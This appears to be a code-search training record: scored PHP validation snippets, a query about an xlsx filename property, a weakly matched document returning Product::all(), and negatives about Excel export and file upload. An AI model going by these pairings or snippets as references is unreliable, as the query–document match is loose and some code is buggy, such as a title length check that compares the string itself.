}//if\n\n break;\n\n case 'ufloat':\n\n if(!$this->_isValidFloat($key,$value)){\n return false;\n }//if\n\n if($value < 0){\n return $this->setError($key,\"`{$key}` must be a positive number\");\n }//if\n\n break;\n\n case 'string':\n\n if(!is_string($value)){\n return $this->setError($key,\"`{$key}` must be a string\");\n }//if\n\n if(($min = $this->getDefinitionValue($key,'minlen')) !== false && strlen($value) < $min){\n return $this->setError($key,\"`{$key}` must be greater than {$min} characters long\");\n }//if\n\n if(($max = $this->getDefinitionValue($key,'maxlen')) !== false && strlen($value) > $max){\n return $this->setError($key,\"`{$key}` must be less than {$max} characters long\");\n }//if\n\n break;\n\n case 'char':\n\n if(!is_string($value) || strlen($value) != 1){\n return $this->setError($key,\"`{$key}` must be a single character\");\n }//if\n\n break;\n\n case 'boolean': \n\n if(!is_bool($value)){\n return $this->setError($key,\"`{$key}` must be a boolean value\");\n }//if\n\n break;\n\n case 'array':\n\n if(!is_array($value)){\n return $this->setError($key,\"`{$key}` must be an array\");\n }//if\n\n break;\n\n case 'object':\n\n if(is_object($value)){\n if(($instanceof = $this->getDefinitionValue($key,'instanceof')) !== false && !$value instanceof $instanceof){\n return $this->setError($key,\"`{$key}` must be an instance of `{$instanceof}`\");\n }//if\n } //if\n else {\n return $this->setError($key,\"`{$key}` must be an object\");\n }//if\n\n break;\n\n case 'closure':\n\n if(!is_object($value) || !$value instanceof \\Closure){\n return $this->setError($key,\"`{$key}` must be a closure\");\n }//if \n\n break;\n\n default:\n return $this->setError($key);\n\n }//switch\n\n //IN\n if(($in = $this->getDefinitionValue($key,'in')) !== false && !in_array($value,$in)){\n $in = implode(', ',$in);\n return $this->setError($key,\"`{$key}` must be a value of `{$in}`\");\n }//if\n\n //NOTIN\n if(($in = $this->getDefinitionValue($key,'notin')) !== false && in_array($value,$in)){\n $in = implode(', ',$in);\n return $this->setError($key,\"`{$key}` must not be a value of `{$in}`\");\n }//if\n\n $this->_postMassage($key,$value);\n\n }", "public function is_valid_vb_spec($data_array) {\n\n // Check that there are at least two rows.\n if ( count($data_array) < 2 ) {\n $this->notifier->add('There must be at least two rows in the '\n . 'uploaded dataset.', 'error');\n return false;\n }\n\n // Split the dataset into the header row and the rest of the sheet\n $header = $data_array[0]; // Just the first row\n $data_array = array_slice($data_array, 1); // Everything but the first row\n\n // Count the number of timepoint columns and check that there is\n // at least one.\n $num_timepoint_cols = count(self::ordered_columns_of_type($header, 0));\n if ($num_timepoint_cols < 1) {\n $this->notifier->add(esc_html('There must be at least one timepoint column. '\n . 'None were found. Note that syntax for timepoint column '\n . 'headers is strict: the fieldname must be machine-readable '\n . 'as a date. Try formats like \"2012\" or \"2012-08\" or \"3Q 2008\".'),\n 'error', 108);\n return false;\n }\n\n // Count the number of level columns and check that there is\n // at least one.\n $num_level_cols = count(self::ordered_columns_of_type($header, 1));\n if ($num_level_cols < 1) {\n $this->notifier->add(esc_html('There must be at least one LEVEL column. '\n . 'None were found. Note that syntax for LEVEL column '\n . 'headers is strict: the fieldname must be of the form '\n . 'LEVEL<N>, where <N> is an integer.'),\n 'error', 109);\n return false;\n }\n\n return true;\n }", "public function check(array $data) {\n $filtered = $this->run($data);\n $chunked = $this->chunk($filtered);\n // build errors\n\t\t$errors = static::array_substitute($chunked, $this->messages);\n // remove null values, just keep errors as null values in errors means no error\n\t\t$msg = static::array_filter_recursive($errors, function($el) { return ! is_null($el); });\n // keep out empty arrays\n\t\t$msg = static::array_filter_recursive($msg, function($el) { return ! ( is_array($el) && empty($el));});\n // convert objects that repesents errors into arrays\n array_walk_recursive($msg, function(&$v, $k) { if (is_object($v)) $v = (array) $v;});\n\t\t$this->errors = $msg;\n\t\t$fail = ! empty($msg);\n\t\tif ($fail) return false;\n return $chunked;\n }", "function validate($data) {\n if (is_string($this->paramtype)) {\n if (preg_match($this->paramtype, $data)) {\n return true;\n } else {\n return get_string('validateerror', 'admin');\n }\n\n } else if ($this->paramtype === PARAM_RAW) {\n return true;\n\n } else {\n $cleaned = stripslashes(clean_param(addslashes($data), $this->paramtype));\n if (\"$data\" == \"$cleaned\") { // implicit conversion to string is needed to do exact comparison\n return true;\n } else {\n return get_string('validateerror', 'admin');\n }\n }\n }", "public final function verifySetData(){\n\n foreach($this->data as $k => $v){\n $this->verifyData($k);\n }//foreach\n\n if(count($this->errors)){\n return false;\n }//if\n\n return true;\n\n }", "protected function validate($data) \n {\n $errorsFound = false;\n \n foreach ($data as $key => $value) {\n if (!property_exists($this->entity, $key)) {\n unset($data[$key]);\n }\n }\n \n if (!array_key_exists('campaign', $data) || get_class($data['campaign']) != 'Campaign\\Entity\\Campaign') {\n Session::error(\"An invalid campaign was specified to one of the widgets!\");\n $errorsFound = true;\n }\n \n if (!array_key_exists('widgetType', $data) || !array_key_exists($data['widgetType'], $this->widgetsMap)) {\n Session::error(\"You are trying to add an invalid widget type!\");\n $errorsFound = true;\n }\n \n if (!array_key_exists('earningValue', $data) || empty($data['earningValue'])) {\n Session::error(\"Every widget must have an earning value!\");\n $errorsFound = true;\n } elseif (!is_numeric($data['earningValue'])) {\n Session::error(\"Widget earning values must be numeric!\");\n $errorsFound = true;\n } elseif ($data['earningValue'] <= 0) {\n Session::error(\"Widgets Earning Values must be greater than 0!\");\n $errorsFound = true;\n } elseif ($data['earningValue'] > 10000) {\n Session::error(\"Widgets Earning Values cannot be greater than 10000!\");\n $errorsFound = true;\n }\n \n if (!array_key_exists('title', $data) || empty($data['title'])) {\n Session::error(\"Every widget must have a title!\");\n $errorsFound = true;\n } elseif ($data['title'] > 32) {\n Session::error(\"The widget Title cannot be longer than 32 characters!\");\n $errorsFound = true;\n }\n \n if (array_key_exists('optionsSerialized', $data) && strlen($data['optionsSerialized']) > 10000) {\n Session::error(\"You have to many options on your widget!\");\n $errorsFound = true;\n }\n \n return !$errorsFound;\n }", "public function check_data()\n {\n parent::check_data();\n\n if(empty($this->build_notifications))\n {\n throw new exception('<strong>Data missing: Notifications</strong>');\n }\n\n if(empty($this->build_batch_reference))\n {\n throw new exception('<strong>Data missing: Batch References</strong>');\n }\n }", "public function isValidLevelThrowsExceptionOnInvalidLevelIfAskedToDoSoDataProvider()\n {\n return [\n 'negative integer' => [-1],\n 'higher level than expected' => [8],\n 'float' => [1.5],\n 'string' => ['string'],\n 'array' => [[]],\n 'object' => [new \\stdClass()],\n 'boolean FALSE' => [false],\n 'NULL' => [null]\n ];\n }", "public function testIsValidValid()\n {\n $this->uut->setConstraints([new MyConstraint()])->setValue(new ScalarValue('foo'));\n $this->assertTrue($this->uut->isValid());\n $this->assertFalse($this->uut->hasViolation());\n }", "public function validateData(){\n return true;\n }", "public function validate(): array {\n $errors = [];\n if (!Validation::str_longer_than($this->get_title(), 2)) {\n $errors[] = \"Title must be at least 3 characters long\";\n }\n if(!$this->title_is_unique()){\n $errors[] = \"Title already exists in this board\";\n }\n if(is_null($this->get_column()) ){\n $errors[] = \"This column does not exist\";\n }\n return $errors;\n }", "public function isValid()\n {\n $valid = true;\n if (!$this->isInteger($this->id, 1) && $this->id !== null)\n {\n $valid = false;\n $this->setError('id', \"ID is invalid\");\n }\n if (!$this->isInteger($this->terms, 0) || !$this->isInList($this->terms, [0,15,30,45,60,90]))\n {\n $valid = false;\n $this->setError('terms', \"Payment terms are invalid\");\n }\n if (!$this->isString($this->note, 0, 65535))\n {\n $valid = false;\n $this->setError('note', \"Note length can't exceed 65535 characters\");\n }\n if (!$this->isDate($this->date) && !$this->isDateTime($this->date))\n {\n $valid = false;\n $this->setError('date', \"Creation date must be a valid date\");\n }\n if (!$this->isString($this->receipt, 0, 50))\n {\n $valid = false;\n $this->setError('receipt', \"Receipt length can't exceed 50 characters\");\n }\n if (!$this->isString($this->tax, 0, 50))\n {\n $valid = false;\n $this->setError('tax', \"Tax invoice length can't exceed 50 characters\");\n }\n return $valid;\n }", "public function validate($data) {\n return true;\n }", "public function validate($configData);", "function validation($data, $files) {\n $errors = parent::validation($data, $files);\n \n if(empty($data['ukprn'])) {\n $errors['ukprn'] = get_string('error_missing_school_name', 'enrol_ukfilmnet');\n }\n if($data['contact_email'] && strpos( $data['contact_email'], '@') === false) {\n $errors['contact_email'] = get_string('error_invalid_email', 'enrol_ukfilmnet');\n }\n if(!array_key_exists('school_consent_to_contact', $data)) {\n $errors['school_consent_to_contact'] = get_string('error_missing_school_consent_to_contact', 'enrol_ukfilmnet');\n }\n \n return $errors;\n }", "public static function validateData(): array\n {\n\n $data = self::sanitizeData();\n\n // check for name\n if (empty($data['fname'])) {\n $data['errorName'] = 'First name is blank';\n } elseif(strlen($data['fname']) < 2 || strlen($data['fname']) > 20) {\n $data['errorName'] = 'First name must be in range of 2-20 char...';\n }\n\n // check for lname\n if (empty($data['lname'])) {\n $data['errorLastName'] = 'Last name is blank';\n } elseif(strlen($data['lname']) < 2 || strlen($data['lname']) > 30) {\n $data['errorLastName'] = 'Last name must be in range of 2-30 char...';\n }\n\n // check for email\n if (empty($data['email'])) {\n $data['errorEmail'] = 'Email cannot be blank';\n }\n\n // check for gender\n if (empty($data['gender'])) {\n $data['errorGender'] = 'Gender must be selected';\n }\n\n // check for passwords\n\n if (empty($data['password']) || empty($data['cpassword'])) {\n $data['errorPassword'] = 'Password cannot be empty';\n } elseif(strlen($data['password']) < 5 || strlen($data['cpassword']) < 5) {\n $data['errorPassword'] = 'Password must be longer than 5 char...';\n }\n\n if ($data['password'] !== $data['cpassword']) {\n $data['errorPassword'] = 'Passowrd must be a same';\n } \n\n // check birtth\n if (empty($data['birthDate'])) {\n $data['errorBirth'] = 'Birth Date cannot be empty';\n }\n\n if (empty($data['profilePic'])) {\n $data['profilePic'] = '/images/profile.jpg';\n }\n\n if (empty($data['coverPic'])) {\n $data['coverPic'] = 'images/cover.png';\n }\n\n return $data;\n }", "public function userDataValidation($data)\n {\n $rules = array(\n 'userName' => 'required | min:4 | max:50 | unique:users,userName,'.$this->user_id.',user_id',\n 'email' => 'required | email | unique:users,email,'.$this->user_id.',user_id',\n 'firstName' => 'min:4 | max:50',\n 'lastName' => 'min:4 | max:50'\n );\n\n $messages = array(\n 'userName.required' => 'the :attribute is required.',\n 'userName.min' => 'the :attribute must be between 4 and 50 characters.',\n 'userName.max' => 'the :attribute must be between 4 and 50 characters.',\n 'userName.unique' => 'the :attribute is already taken.',\n 'email.required' => 'the :attribute is required.',\n 'email.email' => 'the :attribute is not valid.',\n 'email.unique' => 'the :attribute is already taken.',\n 'firstName.min' => 'the :attribute must be between 4 and 50 characters.',\n 'firstName.max' => 'the :attribute must be between 4 and 50 characters.',\n 'lastName.max' => 'the :attribute must be between 4 and 50 characters.',\n 'lastName.min' => 'the :attribute must be between 4 and 50 characters.',\n );\n\n $validator = Validator::make($data, $rules, $messages);\n return $validator;\n }", "function validate_all($required,$data){\n\n\t$result = array();\n\t$result['code'] = 1;\n\t$result['error'] = \"All OK!\";\n\n\tif(count(array_intersect_key($required, $data)) != count($required)){\n\t\t$result['code'] = 0;\n\t\t$result['error'] = \"Fields Mismatch!\";\n\t\treturn $result;\n\t}\n\n\t$field_count \t= count($required);\n\n\tforeach ($required as $field => $rules) {\n\t\t$value = $data[$field];\n\n\t\t$code = 0;\n\t\t$error = \"\";\n\n\t\tswitch ($rules['type']) {\n\t\t\tcase 'numeric':\n\t\t\t\tif($rules['required'] && empty($value)){\n\t\t\t\t\t$error = $field.\" is empty.\";\t\n\t\t\t\t}else if(!is_numeric($value)){\n\t\t\t\t\t$error = $field.\" is not numeric.\";\n\t\t\t\t}else if(isset($rules['min'])){\n\t\t\t\t\tif($value < $rules['min']){\n\t\t\t\t\t\t$error = $field.\" min error.\";\n\t\t\t\t\t}else{\n\t\t\t\t\t\t$code = 1;\n\t\t\t\t\t\t$error = \"All OK!\";\n\t\t\t\t\t}\n\t\t\t\t}else if(isset($rules['max'])){\n\t\t\t\t\tif($value > $rules['max']){\n\t\t\t\t\t\t$error = $field.\" max error.\";\n\t\t\t\t\t}else{\n\t\t\t\t\t\t$code = 1;\n\t\t\t\t\t\t$error = \"All OK!\";\n\t\t\t\t\t}\n\t\t\t\t}else{\n\t\t\t\t\t$code = 1;\n\t\t\t\t\t$error = \"All OK!\";\n\t\t\t\t}\t\t\t\t\t\t\n\t\t\t\tbreak;\n\t\t\tcase 'alpha':\n\t\t\t\tif($rules['required'] && empty($value)){\n\t\t\t\t\t$error = $field.\" is empty.\";\t\n\t\t\t\t}else{\n\t\t\t\t\t$code = 1;\n\t\t\t\t\t$error = \"All OK!\";\n\t\t\t\t}\t\t\t\t\t\t\n\t\t\t\tbreak;\n\t\t\tcase 'email':\n\t\t\t\tif($rules['required'] && empty($value)){\n\t\t\t\t\t$error = $field.\" is empty.\";\t\n\t\t\t\t}else if(!preg_match($rules['pattern'], $value)){\n\t\t\t\t\t$error = $field.\" is invalid.\";\n\t\t\t\t}else{\n\t\t\t\t\t$code = 1;\n\t\t\t\t\t$error = \"All OK!\";\n\t\t\t\t}\t\t\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\t# code...\n\t\t\t\tbreak;\n\t\t}\n\n\n\t\t$result['fields'][$field] = array('code' => $code, 'error' => $error, 'value'=>$value, 'field'=>$field );\n\t}\n\n\tforeach ($result['fields'] as $row) {\n\t\tif($row[\"code\"] == 0){\n\t\t\t$result['code'] = 0;\n\t\t\t$result['error'] = \"Invalid Fields!\";\n\t\t\tbreak;\n\t\t}\t\t\n\t}\n\n\treturn $result;\n\n}", "public function testValidateFails()\n\t{\n\t\t$this->assertFalse(ArrayQuery::validate('testInvalid'));\n\t}" ]
[ "0.7175607", "0.69921756", "0.67089456", "0.6704011", "0.6600305", "0.6540191", "0.6512713", "0.6456297", "0.64545137", "0.64416814", "0.63964903", "0.6393245", "0.63912284", "0.63901675", "0.63901675", "0.63710666", "0.6309136", "0.62416327", "0.61772835", "0.6105172", "0.6103585", "0.6103585", "0.61013937", "0.6086379", "0.6077795", "0.6076437", "0.60530514", "0.60403836", "0.6033638", "0.6033638", "0.60145265", "0.59966326", "0.5965334", "0.59314746", "0.5900792", "0.587591", "0.5860972", "0.58510655", "0.5849011", "0.5843028", "0.58398414", "0.5839558", "0.58337516", "0.58334756", "0.5830998", "0.5830369", "0.5829238", "0.58255416", "0.58230096", "0.5814142", "0.5813415", "0.58120745", "0.58018565", "0.5797836", "0.5793656", "0.5792977", "0.5777923", "0.57775086", "0.57775086", "0.5776533", "0.5764113", "0.5745354", "0.5737673", "0.57305866", "0.57268256", "0.5721576", "0.5713486", "0.5713338", "0.57124686", "0.5706542", "0.5703672", "0.5696536", "0.5687952", "0.56843054", "0.56796724", "0.5673994", "0.56728595", "0.566068", "0.565085", "0.5650146", "0.56465924", "0.56416225", "0.56401116", "0.5638871", "0.5625698", "0.56179196", "0.56172514", "0.5614165", "0.5610254", "0.5607768", "0.56073767", "0.5603519", "0.5601482", "0.5594062", "0.55917627", "0.5581207", "0.55804545", "0.5578663", "0.55730474", "0.55687904" ]
0.65142304
6
private $fileName = "users.xlsx";
public function collection() { return Product::all(); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function __construct()\n {\n $this->filename = public_path('/products.xlsx');\n }", "public function fileExtension(): string\n {\n return '.xlsx';\n }", "public function export()\n {\n return Excel::download(new UsersExport, 'users.xlsx');\n }", "public function getFileName(): string;", "protected function fileName() {}", "public function download()\n {\n return \\Excel::download(new UsersExport, 'data_buku_yang_dipinjam.xlsx'); \n }", "public function downloadXlsFile(Request $request) {\n //getting data\n $id = $request->id;\n $type = $request->type;\n $claim_no = $request->claim_no;\n $state = $request->state;\n $policy_no = $request->policy_no;\n $information = $request->information;\n\n if($type == 'xact') {\n $path = public_path('sample_file/test.xls');\n $labels = Label::where('user_id', $id)->get();\n if ($labels->isEmpty()) {\n $request->session()->flash('error', 'Record not found.');\n return redirect()->back();\n }\n $user = User::where('id', $id)->first();\n $user_name = $user->full_name; //setting file name\n $file_name = $user_name . '_ClaimedContent' . time();\n ///getting or loading template in which we want to put data\n $spreadsheet = \\PhpOffice\\PhpSpreadsheet\\IOFactory::load($path);\n $worksheet = $spreadsheet->getActiveSheet();\n $worksheet->setCellValue('E2', $user_name);\n $worksheet->setCellValue('H2', $claim_no);\n $worksheet->setCellValue('H3', $policy_no);\n $worksheet->setCellValue('K3', $state);\n $worksheet->setCellValue('D4', $information);\n\n $counter = 9;\n foreach ($labels as $label) {\n //specifying cells for putting data in them\n $worksheet->setCellValue('B' . $counter . '', $label->room_name);\n $worksheet->setCellValue('C' . $counter . '', $label->brand);\n $worksheet->setCellValue('D' . $counter . '', $label->model);\n $worksheet->setCellValue('E' . $counter . '', $label->item_name);\n $worksheet->setCellValue('F' . $counter . '', $label->quantity);\n $worksheet->setCellValue('G' . $counter . '', $label->age_in_years);\n $worksheet->setCellValue('H' . $counter . '', $label->age_in_months);\n $worksheet->setCellValue('J' . $counter . '', $label->cost_to_replace);\n $counter++;\n }\n $writer = \\PhpOffice\\PhpSpreadsheet\\IOFactory::createWriter($spreadsheet, 'Xls');\n //setting headers to save file in our downloads directory\n header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n header('Content-Disposition: attachment; filename=\"' . $file_name . '.xls\"');\n header(\"Content-Transfer-Encoding: binary\");\n $writer->save(\"php://output\");\n ////end code for getting xls/csv template and append data from database in it/////\n return redirect()->back();\n } else if ($type == 'simsol') {\n \n// $result = Photo::with('getLabel.getRoom', 'getItems')->where('user_id', $id)->get();\n $result = Label::where('user_id', $id)->get();\n// dd($result);\n if($result->isEmpty()){\n $request->session()->flash('error', 'No Record Found.');\n return redirect()->back();\n }\n $unique_name = time();\n $headers = array(\n \"Content-type\" => \"text/csv\",\n \"Content-Disposition\" => \"attachment; filename=\" . $unique_name . \"_items.csv\",\n \"Pragma\" => \"no-cache\",\n \"Cache-Control\" => \"must-revalidate, post-check=0, pre-check=0\",\n \"Expires\" => \"0\"\n );\n $columns = array('Item#', 'Room', 'Brand Or Manufacturer ', 'Model#', 'Serial Number', 'Quantity Lost', 'Item Age (Years)', 'Item Age (Month)', 'Cost to Replace Pre-Tax (each)', 'Total Cost');\n\n $callback = function() use ($result, $columns) {\n $file = fopen('php://output', 'w');\n fputcsv($file, $columns);\n $count = 1;\n foreach ($result as $labels) {\n $columns_data = array();\n $columns_data[] = $count;\n $columns_data[] = $labels->room_name;\n $columns_data[] = $labels->brand;\n $columns_data[] = $labels->model;\n $columns_data[] = $labels->serial_no;\n $columns_data[] = $labels->quantity;\n $columns_data[] = $labels->age_in_years;\n $columns_data[] = $labels->age_in_months;\n $columns_data[] = $labels->cost_to_replace;\n $total = ($labels->quantity * $labels->cost_to_replace);\n $columns_data[] = round($total, 2);\n $count++;\n fputcsv($file, $columns_data);\n }\n fclose($file);\n };\n return Response::stream($callback, 200, $headers);\n }\n else if($type == 'photo'){\n $data['contents'] = Photo::with('getLabel')->with('getGroup.getGroupLabel')->where('user_id', $id)->where('is_labeled', 1)->get();\n// dd($data);\n $pdf = PDF::loadView('admin.pdf', $data);\n return $pdf->stream('document.pdf');\n $request->session()->flash('success', 'PDF created.');\n return redirect()->back();\n } else{\n $request->session()->flash('error', 'Please Select Download Type,In Which Format You Want to Download the File.');\n return redirect()->back();\n }\n }", "public function excel()\n {\n Excel::create('ReporteExcel', function($excel) {\n $excel->sheet('EdadGenero', function($sheet) {\n $usersinfo = User::select(DB::raw(\"users.cc as Cedula_Ciudadania, users.lastname as Apellidos, users.name as Nombres, users.email as Email, users.cellphone as Celular, users.department as DepartamentoNac, users.city as CiudadNac, users.created_at as FechaRegistro\"))->get();\n $sheet->fromArray($usersinfo);\n });\n })->export('xls');\n\n }", "public function exportExcel()\n {\n /** Fuente de Datos Eloquent */\n $data = User::all();\n\n /** Creamos nuestro archivo Excel */\n Excel::create('usuarios', function ($excel) use ($data) {\n\n /** Creamos una hoja */\n $excel->sheet('Hoja Uno', function ($sheet) use ($data) {\n /**\n * Insertamos los datos en la hoja con el método with/fromArray\n * Parametros: (\n * Datos,\n * Valores del encabezado de la columna,\n * Celda de Inicio,\n * Comparación estricta de los valores del encabezado\n * Impresión de los encabezados\n * )*/\n $sheet->with($data, null, 'A1', false, false);\n });\n\n /** Descargamos nuestro archivo pasandole la extensión deseada (xls, xlsx) */\n })->download('xlsx');///** Descarga del documento en csv ->download('csv');\n }", "public function __construct() {\n\t\t$this->objPHPExcel = new PHPExcel();\n\t\t$this->filename = 'Oshan-'.date(\"Ymd\").'.xlsx';\n\t\tdate_default_timezone_set(\"Etc/GMT-2\");\n\t}", "public function DowloadExcel()\n {\n return $export->sheet('sheetName', function($sheet)\n {\n\n })->export('xls');\n }", "public function actionExcel(){\n $spreadsheet = new Spreadsheet();\n \n // Set document properties\n $spreadsheet->getProperties()->setCreator('Maarten Balliauw')\n ->setLastModifiedBy('Maarten Balliauw')\n ->setTitle('Office 2007 XLSX Test Document')\n ->setSubject('Office 2007 XLSX Test Document')\n ->setDescription('Test document for Office 2007 XLSX, generated using PHP classes.')\n ->setKeywords('office 2007 openxml php')\n ->setCategory('Test result file');\n \n // Add some data\n $spreadsheet->setActiveSheetIndex(0)\n ->setCellValue('A1', 'Hello')\n ->setCellValue('B2', 'world!')\n ->setCellValue('C1', 'Hello')\n ->setCellValue('D2', 'world!');\n \n // Miscellaneous glyphs, UTF-8\n $spreadsheet->setActiveSheetIndex(0)\n ->setCellValue('A4', 'Miscellaneous glyphs')\n ->setCellValue('A5', 'éàèùâêîôûëïüÿäöüç');\n \n // Rename worksheet\n $spreadsheet->getActiveSheet()->setTitle('Simple');\n \n // Set active sheet index to the first sheet, so Excel opens this as the first sheet\n $spreadsheet->setActiveSheetIndex(0);\n\n $response = Yii::$app->getResponse();\n $headers = $response->getHeaders();\n \n // Redirect output to a client’s web browser (Xlsx)\n $headers->set('Content-Type', 'application/vnd.ms-excel');\n $headers->set('Content-Disposition','attachment;filename=\"01simple.xlsx\"');\n // $headers->set('Cache-Control: max-age=0');\n // $headers->setheader('Cache-Control: max-age=1');\n\n// If you're serving to IE over SSL, then the following may be needed\n // $headers->set('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past\n // $headers->set('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT'); // always modified\n // $headers->set('Cache-Control: cache, must-revalidate'); // HTTP/1.1\n // $headers->set('Pragma: public'); // HTTP/1.0\n\n //header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n // header('Content-Disposition: attachment;filename=\"01simple.xlsx\"');\n $headers->set('Cache-Control: max-age=0');\n // If you're serving to IE 9, then the following may be needed\n $headers->set('Cache-Control: max-age=1');\n \n // If you're serving to IE over SSL, then the following may be needed\n $headers->set('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past\n $headers->set('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT'); // always modified\n $headers->set('Cache-Control: cache, must-revalidate'); // HTTP/1.1\n $headers->set('Pragma: public'); // HTTP/1.0\n ob_start(); \n $writer = IOFactory::createWriter($spreadsheet, 'Xlsx');\n $writer->save(\"php://output\");\n $content = ob_get_contents();\n ob_clean();\n return $content;\n\n // exit;\n\n\n\n\n\n }", "public function test()\n {\n\t\t$data = Session::get('exdata');\n $title = ['id', 'name', 'sex'];\n\n\n $spreadsheet = new Spreadsheet();\n $worksheet = $spreadsheet->getActiveSheet();\n //设置工作表标题名称\n $worksheet->setTitle('测试Excel');\n\n //表头\n //设置单元格内容\n foreach ($title as $key => $value) {\n $worksheet->setCellValueByColumnAndRow($key + 1, 1, $value);\n }\n\t\tLog::write($data, 'exdataT');\n $row = 2; //第二行开始\n foreach ($data as $item) {\n $column = 1;\n foreach ($item as $value) {\n $worksheet->setCellValueByColumnAndRow($column, $row, $value);\n $column++;\n }\n $row++;\n }\n\n # 保存为xlsx\n $filename = '测试Excel.xlsx';\n $writer = IOFactory::createWriter($spreadsheet, 'Xlsx');\n $writer->save($filename);\n \n header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n header('Content-Disposition: attachment;filename=\"'.$filename.'\"');\n header('Cache-Control: max-age=0');\n $writer->save('php://output');\n\n }", "function saveExcelToLocalFile($objWriter){\r\n $filePath = '../tmp/saved_File.xlsx';\r\n $objWriter->save($filePath);\r\n return $filePath;\r\n}", "public function export_excel()\n {\n return (new SiswaExport)->download('StudentList.xlsx');\n }", "public function downloadEmptyCSVFile()\n {\n// $csvExporter = new \\Laracsv\\Export();\n//\n// $csvExporter->build($users, ['email', 'FullName', 'level', 'password']);\n// $csvExporter->download('emptyFile.csv');\n return Excel\\Facades\\Excel::download(new EmptyCSVFile(), 'EmptyFile.xlsx');\n }", "public function excel()\n { \n return Excel::download(new ReporteGraduados, 'graduado.xlsx');\n }", "public function dowload($filename)\n {\n //\n $file= app_path() . \"/storage/exports/\" . $filename . \".xls\";\n\t\tvar_dump($file);\n \n\t\t return $this->response->download($file);\n\n }", "public function getFileName(){\n return $this->_fileName;\n }", "public function upload_file($filename){\n $this->load->library('upload'); // Load librari upload\n \n $config['upload_path'] = './excel/';\n $config['allowed_types'] = 'xlsx';\n $config['max_size'] = '2048';\n $config['overwrite'] = true;\n $config['file_name'] = $filename;\n \n $this->upload->initialize($config); // Load konfigurasi uploadnya\n if($this->upload->do_upload('file')){ // Lakukan upload dan Cek jika proses upload berhasil\n // Jika berhasil :\n $return = array('result' => 'success', 'file' => $this->upload->data(), 'error' => '');\n return $return;\n }else{\n // Jika gagal :\n $return = array('result' => 'failed', 'file' => '', 'error' => $this->upload->display_errors());\n return $return;\n }\n }", "public function setFileName($fileName);", "function composeXLSfile(){\r\n\trequire_once 'Spreadsheet/Excel/Writer.php';\r\n\tresetErrorMessages();\r\n\tglobal $dataBody, $emailAddress;\r\n\tglobal $writeFileOpenError, $writeFileWritingError;\r\n\r\n\tglobal $thisURL, $filename;\r\n\t$filename\t \t= substr($thisURL, strpos($thisURL, \"/\"));\r\n\t$filename\t.= \"../datasources/savedResults/\";\r\n\t\t\t/* use name of uploaded file, or specified name from form widget filenameBox\r\n\t\t\t\t\t- or email + random number if no name chosen\r\n\t\t // used to start with beginning of email address (username)\r\n\t\t\t*/\r\n\tif(isset($_REQUEST[\"filenameBox\"])){\r\n\t\t$filename\t \t.= check_input($_REQUEST[\"filenameBox\"]);\r\n\t} else { // used to be no choice of file name, now we can specify: this is the fallback\r\n\t\t\t//use beginning of email address (username) plus random number\r\n\t\t$filename\t \t.= substr($emailAddress, 0, strpos($emailAddress, \"@\" ));\r\n\t\t$filename\t \t.= rand();\r\n\t}\r\n\t\t$filename\t \t.= \".xls\";\r\n\t\t//echo \"<h4>composeXLSfile has filenameBox: \" . $_REQUEST[\"filenameBox\"] . \"; filename = '\" . $filename . \"</h4>\";\r\n\r\n\t$displayFilename = strrchr( $filename, \"/\"); //strrchr = Find last occurrence of a character in a string\r\n\t$displayFilename = str_replace( \"/\", \"\", $displayFilename);\r\n\t\t$strDebug = \"<br/><span class='highlightNumbers'>&nbsp;filename='\" . $filename . \"'; displayFilename='\" . $displayFilename . \"';&nbsp;</span><br/>\";\r\n\r\n\r\n\r\n\t$dataBody = str_replace(\"<hr/>\", \"\", $dataBody);\r\n\t$arrayData = explode(\"|\", $dataBody);\r\n\t\t//$strDebug .= \"<br/>dataBody = '\" . $dataBody . \"<br/>\";\r\n\t\tfor($i=0; $i < count($arrayData); $i++){\r\n\t\t\t$strDebug .= \"- \" . $i . \") \" . $arrayData[$i] . \"<br/>\";\r\n\t\t}//end for count(arrayData)\r\n\t\t//echo $strDebug;\r\n\r\n\t$numCols = 12; //fields, columns, in the Spreadsheet_Excel_Writer\r\n\t$numRows = count($arrayData) / $numCols; //number of fields (array elements) by number of columns\r\n\t\t$strDebug .= \"numCols='\" . $numCols . \"'; numRows='\" . $numRows . \"'<br/>\";\r\n\r\n\r\n\t$workbook = new Spreadsheet_Excel_Writer($filename); \t\t // Create workbook\r\n\t$workbook->setVersion(8);\r\n\t$numChars = strlen($displayFilename) - 4; //skip '.xls' in $displayFilename when naming sheet\r\n\t$sheetname = \"OCLC_HOLDINGS\";// . substr($displayFilename, 0, $numChars);\r\n\t$worksheet = $workbook->addWorksheet($sheetname); // Create worksheet\r\n\t$worksheet->setInputEncoding('utf-8');\t\t\t\t\t\t//so we get accented characters in XLS\r\n\t\t/*\r\n\t\t\t//test UTF-8 output: it does work in the XLS\r\n\t\t$greek = \"\\342\\345\\353\\355\\341\";\r\n\t\t$russian = \"\\xD0\\xBF\\xD0\\xBE\\xD0\\xBA\\xD0\\xB0\";\r\n\t\t$worksheet->setInputEncoding('ISO-8859-7');\r\n\t\t$worksheet->write(6, 0, $greek);\r\n\t\t$worksheet->setInputEncoding('utf-8');\r\n\t\t$worksheet->write(6, 1, $russian);\r\n\t\t*/\r\n\r\n\t\t/*set column widths: params to setColumn are:\r\n\t\t\t\t1st column index to get this width,\r\n\t\t\t\tlast column index to get this width,\r\n\t\t\t\twidth where \"column width unit is 'one character' in the 'normal font.' \",\r\n\t\t\t\tother params not used here, see http://pear.php.net/manual/en/package.fileformats.spreadsheet-excel-writer.spreadsheet-excel-writer-worksheet.setcolumn.php */\r\n\r\n\t$worksheet->setColumn(0,0,16); //OCLC_NUMBER\r\n\t$worksheet->setColumn(1,1,16); //OCLCalternate\r\n\t$worksheet->setColumn(2,2,9); //ISSN\r\n\t$worksheet->setColumn(3,3,20); //TITLE\r\n\t$worksheet->setColumn(4,4,5); //numHolders\r\n\t$worksheet->setColumn(5,5,3); //CRLholds\r\n\t$worksheet->setColumn(6,6,5); //memberHolds\r\n\t$worksheet->setColumn(7,7,25); 